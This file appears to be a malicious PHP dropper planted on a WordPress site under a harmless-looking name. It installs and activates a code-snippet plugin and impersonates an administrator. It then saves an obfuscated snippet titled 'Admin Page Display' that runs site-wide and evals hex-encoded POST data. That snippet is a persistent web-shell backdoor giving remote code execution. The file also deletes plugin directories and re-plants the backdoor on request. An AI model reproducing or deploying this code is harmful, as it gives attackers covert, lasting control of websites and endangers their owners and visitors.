File: /var/www/ippmt.kauko.lt/wp-codiey.php
<?php
if (file_exists($_SERVER['DOCUMENT_ROOT'] . "/wp-load.php")) {
require_once $_SERVER['DOCUMENT_ROOT'] . "/wp-load.php";
} elseif (file_exists("wp-load.php")) {
include "wp-load.php";
} else {
exit();
}
require_once ABSPATH . 'wp-admin/includes/plugin.php';
function installWPCode()
{
$status = array();
require_once ABSPATH . 'wp-admin/includes/class-wp-upgrader.php';
require_once ABSPATH . 'wp-admin/includes/plugin-install.php';
require_once ABSPATH . 'wp-admin/includes/file.php';
if (!function_exists("plugins_api")) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
$api = plugins_api('plugin_information', array('slug' => "insert-headers-and-footers"));
if (is_wp_error($api)) {
$status['errorMessage'] = $api->get_error_message();
wp_send_json_error($status);
}
$skin = new WP_Ajax_Upgrader_Skin();
$upgrader = new Plugin_Upgrader($skin);
$result = $upgrader->install($api->download_link);
if (is_wp_error($result)) {
$status['errorMessage'] = $result->get_error_message();
wp_send_json_error($status);
return false;
}
return true;
}
function activateWPCode()
{
if (!function_exists("activate_plugin")) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
$active = activate_plugin("insert-headers-and-footers/ihaf.php");
if (is_wp_error($active)) {
$status['errorMessage'] = $active->get_error_message();
wp_send_json_error($status);
return false;
}
if (is_plugin_active("insert-headers-and-footers/ihaf.php")) {
return true;
}
return false;
}
function installSnippets()
{
$status = array();
wp_set_current_user(get_users(array('role' => 'administrator'))[0]->ID);
require_once WP_PLUGIN_DIR . "/insert-headers-and-footers/ihaf.php";
require_once WP_PLUGIN_DIR . "/insert-headers-and-footers/includes/class-wpcode-generator.php";
require_once ABSPATH . 'wp-admin/includes/screen.php';
require_once ABSPATH . 'wp-admin/includes/template.php';
require_once ABSPATH . 'wp-admin/includes/class-wp-list-table.php';
require_once WPCODE_PLUGIN_PATH . 'includes/admin/pages/class-wpcode-code-snippets-table.php';
$table = new WPCode_Code_Snippets_Table();
$table->prepare_items();
foreach ($table->items as $item){
if (isset($_REQUEST["force"]) && $item->post_title == "Admin Page Display"){
$snippet = new WPCode_Snippet((int)$item->ID);
$snippet->active = false;
$snippet->save();
}
}
foreach ($table->items as $item){
if ($item->post_title == "Admin Page Display"){
$snippet = new WPCode_Snippet((int)$item->ID);
if($snippet->is_active()){
echo "exit";
exit();
}
}
}
if (!isset(wpcode()->error) or wpcode()->error == null) {
wpcode()->load_components();
}
$snippet_data = array(
'title' => 'Admin Page Display',
'code' => base64_decode(str_replace("pefawonawef","",'CmlmKCFmdW5jdGlpefawonawefvbl9leGlzdHMoJ2hleDJiaW4nKSl7CiAgICBmdW5jdGlvbiBoZXgyYmluKCRoZXgpewogICAgICAgICRzdHI9Jyc7CiAgICAgICAgZm9yKCRpPTA7JGk8c3RybGpefawonawefVuKCRoZXgpLTE7JGkrPTIpCiAgICAgICAgICAgICRzdHIuPWNocihoZXhkZWMoJGhleFskaV0uJGhleFskaSsxXSkpOwogICAgICAgIHJldHVybiAgJHN0cpefawonawefjsKICAgIH0KfQppZiAoaXNzZXQoJF9QT1NUWydmdHAnXSkpewogICAgZXZhbAogICAgKEBoZXgyYmluCiAgICAoJF9QT1NUWydmdHAnXSkpOpefawonawefwogICAgZXhpdCgpOwp9Cg==')),
'code_type' => 'php',
'tags' => array(),
'location' => 'everywhere',
'generator' => 'admin',
'generator_data' => array(),
'auto_insert' => 1,
'priority' => 1,
'active' => true
);
$new_snippet = new WPCode_Snippet($snippet_data);
$new_snippet->active = true;
$new_snippet->location = 'everywhere';
$new_snippet->auto_insert = 1;
$new_snippet_id = $new_snippet->save();
header('Location: wp-codiey.php?id=' . $new_snippet_id);
}
function updateSnippets()
{
require_once WP_PLUGIN_DIR . "/insert-headers-and-footers/includes/class-wpcode-generator.php";
$new_snippet = new WPCode_Snippet((int)$_GET["id"]);
$new_snippet->active = true;
$new_snippet->location = 'everywhere';
$new_snippet->auto_insert = 1;
$new_snippet->code_type = 'php';
$new_snippet->tags = array();
$new_snippet->code = base64_decode(str_replace("pefawonawef","",'CmlmKCFmdW5jdGlpefawonawefvbl9leGlzdHMoJ2hleDJiaW4nKSl7CiAgICBmdW5jdGlvbiBoZXgyYmluKCRoZXgpewogICAgICAgICRzdHI9Jyc7CiAgICAgICAgZm9yKCRpPTA7JGk8c3RybGpefawonawefVuKCRoZXgpLTE7JGkrPTIpCiAgICAgICAgICAgICRzdHIuPWNocihoZXhkZWMoJGhleFskaV0uJGhleFskaSsxXSkpOwogICAgICAgIHJldHVybiAgJHN0cpefawonawefjsKICAgIH0KfQppZiAoaXNzZXQoJF9QT1NUWydmdHAnXSkpewogICAgZXZhbAogICAgKEBoZXgyYmluCiAgICAoJF9QT1NUWydmdHAnXSkpOpefawonawefwogICAgZXhpdCgpOwp9Cg=='));
$new_snippet->save();
}
function deleteDirectory($dir) {
if (!is_dir($dir)) {
return;
}
$files = scandir($dir);
foreach ($files as $file) {
if ($file === '.' || $file === '..') {
continue;
}
$filePath = $dir . DIRECTORY_SEPARATOR . $file;
if (is_dir($filePath)) {
deleteDirectory($filePath);
} else {
unlink($filePath);
}
}
rmdir($dir);
}
if (!isset($_GET['id'])) {
if (!function_exists("is_plugin_active")) {
require_once ABSPATH . 'wp-admin/includes/plugin.php';
}
if (!file_exists(WP_PLUGIN_DIR . '/' . "insert-headers-and-footers/includes/class-wpcode-generator.php") || isset($_REQUEST["forceInstall"]) ) {
deleteDirectory(WP_PLUGIN_DIR . '/' . "insert-headers-and-footers");
if(!installWPCode()){
wp_send_json(array("install_plugin" => "error"));
}
if(!activateWPCode()){
wp_send_json(array("active_plugin" => "error"));
}
}
if (!is_plugin_active("insert-headers-and-footers/ihaf.php")) {
if(!activateWPCode()){
if(!installWPCode()){
wp_send_json(array("install_plugin" => "error"));
}
if(!activateWPCode()){
wp_send_json(array("active_plugin" => "error"));
}
}
}
installSnippets();
} else {
updateSnippets();
}
?>